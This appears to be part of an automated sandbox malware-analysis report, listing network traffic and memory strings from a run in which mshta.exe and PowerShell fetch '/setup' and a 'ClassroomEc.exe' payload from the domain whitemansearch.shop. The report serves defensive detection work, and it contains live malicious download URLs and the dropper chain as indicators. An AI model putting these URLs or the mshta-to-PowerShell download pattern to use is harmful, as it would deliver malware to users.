Source: global traffic	HTTP traffic detected: GET /2ZrVm4 HTTP/1.1Host: 2no.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-117.0.5938.132Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4
Source: global traffic	HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/&q=EgS_YOPeGK3X1K4GIjCs5bmnU-QRgcCxGGYio4gxMIxzCz8oSx53B1g933onepuWbALDDhFc9jBNVv2Q5b8yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4; 1P_JAR=2024-02-20-22; AEC=Ae3NU9O2Tzbo8GWfOKc6eZ1KT0vjCbDQUmWoxnBNZoofkrmSndokMcZywQ
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgS_YOPeGK3X1K4GIjCs5bmnU-QRgcCxGGYio4gxMIxzCz8oSx53B1g933onepuWbALDDhFc9jBNVv2Q5b8yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4; 1P_JAR=2024-02-20-22; AEC=Ae3NU9O2Tzbo8GWfOKc6eZ1KT0vjCbDQUmWoxnBNZoofkrmSndokMcZywQ
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=yiNW3R9jkyLVP5-EEZLDzUtA&size=normal&s=lWQi8XFYJHLFBSoU5SiD8DreLMbLqyaMWILUp5KCz1F35zWomRvT9ZsLyU2pNy3cJT6ktzRP5y17XcMG-do_3Wz9iewnxFuXO9-Rn8pvEh73KR_ICtSbe2Z6e_Ei5_nwQyOLl8qvlYvQk4daw9H_NvC1gU1QG5NpYFKB5attDgP678B_k9rlXBPBo2eoAqVFlZ1Em14eX_80yS-dPAqW96lMh_xfWdLzYUhZtjmAdlCguJrDRQwMm7Rczgjwz-ZdX4GSGDCvHFQ8Zn5X9oOgweVqfE-fbaY&cb=yulbx0ey1rif HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgS_YOPeGK3X1K4GIjCs5bmnU-QRgcCxGGYio4gxMIxzCz8oSx53B1g933onepuWbALDDhFc9jBNVv2Q5b8yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4; 1P_JAR=2024-02-20-22; AEC=Ae3NU9O2Tzbo8GWfOKc6eZ1KT0vjCbDQUmWoxnBNZoofkrmSndokMcZywQ
Source: global traffic	HTTP traffic detected: GET /js/bg/zyvIRxypJp9XsXP7bFrUBd8JY_zCSu2ya-bkldlMTk8.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=yiNW3R9jkyLVP5-EEZLDzUtA&size=normal&s=lWQi8XFYJHLFBSoU5SiD8DreLMbLqyaMWILUp5KCz1F35zWomRvT9ZsLyU2pNy3cJT6ktzRP5y17XcMG-do_3Wz9iewnxFuXO9-Rn8pvEh73KR_ICtSbe2Z6e_Ei5_nwQyOLl8qvlYvQk4daw9H_NvC1gU1QG5NpYFKB5attDgP678B_k9rlXBPBo2eoAqVFlZ1Em14eX_80yS-dPAqW96lMh_xfWdLzYUhZtjmAdlCguJrDRQwMm7Rczgjwz-ZdX4GSGDCvHFQ8Zn5X9oOgweVqfE-fbaY&cb=yulbx0ey1rifAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4; 1P_JAR=2024-02-20-22; AEC=Ae3NU9O2Tzbo8GWfOKc6eZ1KT0vjCbDQUmWoxnBNZoofkrmSndokMcZywQ
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/webworker.js?hl=en&v=yiNW3R9jkyLVP5-EEZLDzUtA HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=yiNW3R9jkyLVP5-EEZLDzUtA&size=normal&s=lWQi8XFYJHLFBSoU5SiD8DreLMbLqyaMWILUp5KCz1F35zWomRvT9ZsLyU2pNy3cJT6ktzRP5y17XcMG-do_3Wz9iewnxFuXO9-Rn8pvEh73KR_ICtSbe2Z6e_Ei5_nwQyOLl8qvlYvQk4daw9H_NvC1gU1QG5NpYFKB5attDgP678B_k9rlXBPBo2eoAqVFlZ1Em14eX_80yS-dPAqW96lMh_xfWdLzYUhZtjmAdlCguJrDRQwMm7Rczgjwz-ZdX4GSGDCvHFQ8Zn5X9oOgweVqfE-fbaY&cb=yulbx0ey1rifAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4; 1P_JAR=2024-02-20-22; AEC=Ae3NU9O2Tzbo8GWfOKc6eZ1KT0vjCbDQUmWoxnBNZoofkrmSndokMcZywQ
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgS_YOPeGK3X1K4GIjCs5bmnU-QRgcCxGGYio4gxMIxzCz8oSx53B1g933onepuWbALDDhFc9jBNVv2Q5b8yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4; 1P_JAR=2024-02-20-22; AEC=Ae3NU9O2Tzbo8GWfOKc6eZ1KT0vjCbDQUmWoxnBNZoofkrmSndokMcZywQ
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/bframe?hl=en&v=yiNW3R9jkyLVP5-EEZLDzUtA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgS_YOPeGK3X1K4GIjCs5bmnU-QRgcCxGGYio4gxMIxzCz8oSx53B1g933onepuWbALDDhFc9jBNVv2Q5b8yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4; 1P_JAR=2024-02-20-22; AEC=Ae3NU9O2Tzbo8GWfOKc6eZ1KT0vjCbDQUmWoxnBNZoofkrmSndokMcZywQ
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4; 1P_JAR=2024-02-20-22; AEC=Ae3NU9O2Tzbo8GWfOKc6eZ1KT0vjCbDQUmWoxnBNZoofkrmSndokMcZywQ
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=heMuRbMeN2sFtAl&MD=ETfHWz5l HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=heMuRbMeN2sFtAl&MD=ETfHWz5l HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /tools/pso/ping?as=chrome&brand=ONGR&pid=&hl=en&events=C1I,C2I,C7I,C1S,C7S&rep=2&rlz=C1:,C2:,C7:&id=00000000000000000000000000000000000000005071B001ED HTTP/1.1Host: clients1.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /setup HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: whitemansearch.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ClassroomEc.exe HTTP/1.1Host: whitemansearch.shopConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: whitemansearch.shop

Source: unknown

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4

Source: powershell.exe, 00000008.00000002.2196850239.0000023D9B29E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: powershell.exe, 00000008.00000002.2196850239.0000023D9B29E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: powershell.exe, 00000008.00000002.2196850239.0000023D9B29E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: powershell.exe, 00000008.00000002.2196850239.0000023D9B29E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: ClassroomEc.exe, 0000000C.00000003.2165844334.000000000323C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: ClassroomEc.exe, 0000000C.00000003.2165844334.000000000323C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: ClassroomEc.exe, 0000000C.00000003.2165844334.000000000323C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: ClassroomEc.exe, 0000000C.00000003.2165844334.000000000323C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: ClassroomEc.exe, 0000000C.00000003.2165844334.000000000323C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: powershell.exe, 00000008.00000002.2240635264.0000023DA2AA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsA
Source: powershell.exe, 00000006.00000002.2363821774.000001E868C90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft8
Source: powershell.exe, 00000008.00000002.2121297266.0000023D88A07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: powershell.exe, 00000008.00000002.2196850239.0000023D9B29E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: powershell.exe, 00000008.00000002.2196850239.0000023D9B29E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: powershell.exe, 00000008.00000002.2196850239.0000023D9B29E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: powershell.exe, 00000008.00000002.2196850239.0000023D9B29E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: powershell.exe, 00000008.00000002.2196850239.0000023D9B29E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: svchost.exe, 00000005.00000003.2843545371.0000011ECA302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/a7cbhm53ik274vwlrk6bjaq5su_2024.2.14.0/go
Source: svchost.exe, 00000005.00000003.2013768380.0000011ECA300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000006.00000002.2261109979.000001E85253E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2351092206.000001E860CB8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2351092206.000001E860B82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2196850239.0000023D9A631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.2196850239.0000023D9B29E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: powershell.exe, 00000008.00000002.2196850239.0000023D9B29E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: powershell.exe, 00000008.00000002.2196850239.0000023D9B29E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: powershell.exe, 00000008.00000002.2196850239.0000023D9B29E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: ClassroomEc.exe, 0000000C.00000003.2165844334.000000000323C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: ClassroomEc.exe, 0000000C.00000003.2165844334.000000000323C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: ClassroomEc.exe, 0000000C.00000003.2165844334.000000000323C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: ClassroomEc.exe, 0000000C.00000003.2165844334.000000000323C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: powershell.exe, 00000008.00000002.2150689893.0000023D8A85E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000008.00000002.2150689893.0000023D8A85E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000006.00000002.2261109979.000001E850B01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2150689893.0000023D8A5A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.2150689893.0000023D8A85E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: ClassroomEc.exe, 0000000C.00000003.2165844334.000000000323C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: ClassroomEc.exe, 0000000C.00000003.2165844334.000000000323C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: powershell.exe, 00000008.00000002.2150689893.0000023D8A85E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop
Source: powershell.exe, 00000008.00000002.2150689893.0000023D8A85E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/ClassroomEc.exep
Source: mshta.exe, 00000004.00000002.2037347752.00000270B5093000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2011262421.00000270B5108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setup
Source: powershell.exe	String found in binary or memory: http://whitemansearch.shop/setup$global:?
Source: mshta.exe, 00000004.00000003.2011262421.00000270B508C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036398800.00000270B5090000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037347752.00000270B5093000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setup(
Source: mshta.exe, 00000004.00000003.2011262421.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036398800.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037347752.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setup.
Source: mshta.exe, 00000004.00000002.2037542726.00000270B511A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2033778159.00000270B5119000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2033340330.00000270B5108000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2026672661.00000270B5108000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2011262421.00000270B5108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setup...
